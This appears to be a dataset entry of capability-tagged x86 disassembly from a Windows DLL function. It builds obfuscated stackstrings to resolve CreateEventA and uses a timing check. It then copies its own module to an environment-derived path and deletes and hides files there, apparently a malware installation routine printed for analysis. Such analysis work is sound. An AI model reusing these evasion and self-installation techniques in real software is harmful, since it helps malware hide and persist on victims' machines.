Function at 0x10016db0
Capabilities:
Check for time delay via gettickcount
Contain obfuscated stackstrings
Copy file
Delete file
Query environment variable
Set file attributes

Disassembly:
mov eax, dword [esp + 8]
sub esp, 0x228
cmp eax, 1
push ebp
push esi
push edi
jne 0x10016fe1
mov cl, 0x6c
mov al, 0x65
mov byte [esp + 0x11], cl
mov byte [esp + 0x16], cl
mov byte [esp + 0x17], cl
mov cl, 0x74
mov byte [esp + 0xd], al
mov byte [esp + 0x10], al
mov byte [esp + 0x1e], al
mov byte [esp + 0x21], al
mov byte [esp + 0x24], al
mov byte [esp + 0x20], cl
mov byte [esp + 0x26], cl
lea eax, [esp + 0x1c]
lea ecx, [esp + 0xc]
mov dl, 0x6e
push eax
push ecx
mov byte [esp + 0x14], 0x6b
mov byte [esp + 0x16], 0x72
mov byte [esp + 0x17], dl
mov byte [esp + 0x1a], 0x33
mov byte [esp + 0x1b], 0x32
mov byte [esp + 0x1c], 0x2e
mov byte [esp + 0x1d], 0x64
mov byte [esp + 0x20], 0
mov byte [esp + 0x24], 0x43
mov byte [esp + 0x25], 0x72
mov byte [esp + 0x27], 0x61
mov byte [esp + 0x2a], 0x45
mov byte [esp + 0x2b], 0x76
mov byte [esp + 0x2d], dl
mov byte [esp + 0x2f], 0x41
mov byte [esp + 0x30], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x37a
push 0x10002180
mov ebp, eax
call fcn.100169e0
mov esi, dword [sym.imp.MSVCRT.dll_putchar]
push 0x30
call esi
mov edx, dword [esp + 0x244]
add esp, 0xc
push 0x104
push 0x100206a0
push edx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x30
call esi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x31]
mov byte [esp + 0x30], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
add esp, 4
stosb byte es:[edi], al
lea eax, [esp + 0x2c]
push 0x104
push eax
push 0x100023f4
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
lea edi, [esp + 0x2c]
or ecx, 0xffffffff
xor eax, eax
push 0x100023f4
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x100206a0
mov edx, ecx
mov esi, edi
mov edi, 0x100023f4
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.MSVCRT.dll__stricmp]
add esp, 8
test eax, eax
jne 0x10016f2a
mov eax, dword [esp + 0x238]
mov dword [0x1002054c], eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [0x1002053c], eax
call fcn.1000dfa0
pop edi
pop esi
mov eax, 1
pop ebp
add esp, 0x228
ret 0xc
push 0x10002694
push 0
push 0
push 0
call ebp
push eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
call fcn.1000d2b0
push 0x100023f4
call fcn.10015bb0
add esp, 4
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call dword [sym.imp.MSVCRT.dll_srand]
add esp, 4
push 0x100023f4
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, 0xb
mov esi, 0x10002668
lea edi, [esp + 0x130]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
mov ecx, 0x36
lea edi, [esp + 0x15c]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x130]
push ecx
call fcn.10015c40
add esp, 4
call fcn.10015f10
call fcn.10016130
push 0x1000
push 0x100023f4
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0
push 0x100023f4
push 0x100206a0
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0x100023f4
call fcn.100166a0
add esp, 4
call fcn.10015d90
call fcn.10015cd0
pop edi
pop esi
mov eax, 1
pop ebp
add esp, 0x228
ret 0xc